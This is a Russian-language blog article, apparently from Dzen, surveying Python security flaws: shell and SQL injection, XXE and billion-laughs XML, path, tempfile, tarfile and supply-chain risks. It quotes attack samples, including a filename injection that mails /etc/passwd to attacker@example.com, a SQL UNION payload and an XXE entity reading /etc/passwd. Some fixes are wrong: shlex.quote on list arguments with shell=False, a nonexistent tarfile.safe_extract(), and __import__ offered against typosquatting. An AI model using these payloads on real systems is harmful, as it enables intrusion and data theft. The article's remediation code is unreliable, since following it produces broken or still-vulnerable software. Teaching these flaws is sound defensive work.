Добавить в корзинуПозвонить
Найти в Дзене

Уязвимости и безопасность в Python: разбор критических ошибок и стратегии защиты

Использование subprocess.call, os.system или popen с невалидируемым пользовательским вводом — частая ошибка. Пример: python Copy Download import subprocess
def transcode_file(filename):
command = f'ffmpeg -i "{filename}" output.mpg' # Уязвимость!
subprocess.call(command, shell=True) # Параметр shell=True опасен Угроза: Злоумышленник может передать filename вида "; cat /etc/passwd | mail attacker@example.com, выполнив произвольные команды. Решение: python Copy Download subprocess.call(['ffmpeg', '-i', shlex.quote(filename), 'output.mpg'], shell=False) Конкатенация строк в SQL-запросах — грубая ошибка: python Copy Download cursor.execute(f"SELECT * FROM users WHERE rank = '{rank}'") # Уязвимость! Угроза: Внедрение ' UNION ALL SELECT * FROM SSN-- раскроет конфиденциальные данные. Решение: Используйте ORM (Django, SQLAlchemy) или параметризованные запросы: python Copy Download cursor.execute("SELECT * FROM users WHERE rank = %s", (rank,)) Стандартные библиотеки xml.etree.Elemen
Оглавление

1. Инъекции: классика жанра 124

Командные инъекции

Использование subprocess.call, os.system или popen с невалидируемым пользовательским вводом — частая ошибка. Пример:

python

Copy

Download

import subprocess

def transcode_file(filename):
command = f'ffmpeg -i "{filename}" output.mpg'
# Уязвимость!
subprocess.call(command, shell=True)
# Параметр shell=True опасен

Угроза: Злоумышленник может передать filename вида "; cat /etc/passwd | mail attacker@example.com, выполнив произвольные команды.

Решение:

  • Используйте shlex.quote() для экранирования аргументов1.
  • Избегайте shell=True в subprocess4.

python

Copy

Download

subprocess.call(['ffmpeg', '-i', shlex.quote(filename), 'output.mpg'], shell=False)

SQL-инъекции

Конкатенация строк в SQL-запросах — грубая ошибка:

python

Copy

Download

cursor.execute(f"SELECT * FROM users WHERE rank = '{rank}'") # Уязвимость!

Угроза: Внедрение ' UNION ALL SELECT * FROM SSN-- раскроет конфиденциальные данные.

Решение: Используйте ORM (Django, SQLAlchemy) или параметризованные запросы:

python

Copy

Download

cursor.execute("SELECT * FROM users WHERE rank = %s", (rank,))

2. Парсинг XML: скрытые DoS-атаки 12

Стандартные библиотеки xml.etree.ElementTree и xmlrpc уязвимы к:

  • Billion Laughs: Экспоненциальное расширение сущностей через вложенные <!ENTITY>.
  • XXE (XML External Entity): Чтение локальных файлов через <!ENTITY xxe SYSTEM "file:///etc/passwd">.

Пример атаки:

xml

Copy

Download

Run

<!DOCTYPE lolz [<!ENTITY lol "lol"><!ENTITY lol9 "&lol8;&lol8;">]>
<lolz>&lol9;</lolz> # Занимает гигабайты памяти

Решение: Замените стандартные парсеры на defusedxml12.

3. Проблемы с путями: от импорта до временных файлов

Уязвимые пути импорта136

  • Подмена пакетов: Установка вредоносных библиотек с именами, похожими на популярные (например, requests vs reqvest)2.
  • Относительные пути: Использование os.path.join может быть обманчиво:

python

Copy

Download

file_path = os.path.join("var", "lib", user_input) # Если user_input="/etc/passwd", путь станет абсолютным!

Решение:

  • Используйте __import__ с явным указанием пакетов.
  • Проверяйте зависимости через safety или PyUp.io.

Временные файлы368

  • Устаревший метод: tempfile.mktemp() создаёт предсказуемые имена, позволяя подменить файл.
  • Уязвимость в NamedTemporaryFile:

python

Copy

Download

tmp_file = tempfile.NamedTemporaryFile(prefix=user_input) # Если prefix="/../etc/passwd", файл создастся вне целевой директории

Решение: Используйте tempfile.mkstemp() с явным указанием директории.

4. Ошибки конфигурации и логики

Небезопасное использование assert16

python

Copy

Download

def admin_action(user):
assert user.is_admin
# В продакшне (с флагом -O) проверка исчезнет!
# Критический код

Решение: Всегда используйте явные проверки:

python

Copy

Download

if not user.is_admin:
raise PermissionError("Access denied")

Атаки по времени12

Сравнение строк через == позволяет угадывать пароли по задержке:

python

Copy

Download

if user_input == secret_password: # Время сравнения зависит от длины совпадающего префикса
grant_access()

Решение: Используйте secrets.compare_digest() для константного времени сравнения.

5. Уязвимости в сторонних библиотеках810

Устаревшие зависимости

  • CVE-2007-4559: Уязвимость в tarfile позволяет записывать файлы в произвольные пути через имена с ../8.
  • Пример эксплуатации:

python

Copy

Download

with tarfile.open("malicious.tar") as tar:
tar.extractall()
# Записывает файлы в /etc вместо текущей директории

Решение: Обновите Python до версий с патчем или используйте tarfile.safe_extract().

Риски цепочки поставок

  • Поддельные пакеты: В 2022 г. обнаружили пакет ctx, который крал данные10.
  • Решение: Проверяйте подписи пакетов, используйте pip-audit.

Лучшие практики безопасности

  1. Принцип нулевого доверия: Всегда санируйте пользовательский ввод4.
  2. Статический анализ: Инструменты вроде Bandit или Solar appScreener автоматически обнаруживают уязвимости10.
  3. Логирование ошибок: Используйте logging вместо print, чтобы избежать утечки данных12.
  4. Обновления: Мониторьте CVE через Dependabot или Renovate.
  5. Тестирование: Проводите пентесты с OWASP ZAP и Burp Suite310.

Заключение

Безопасность в Python требует внимания к деталям — от обработки пользовательского ввода до управления зависимостями. Используйте специализированные библиотеки (например, defusedxml), избегайте устаревших функций (assert для проверок) и регулярно аудитируйте код. Помните: даже стандартные модули вроде tarfile могут стать источником критических уязвимостей, если их неправильно использовать.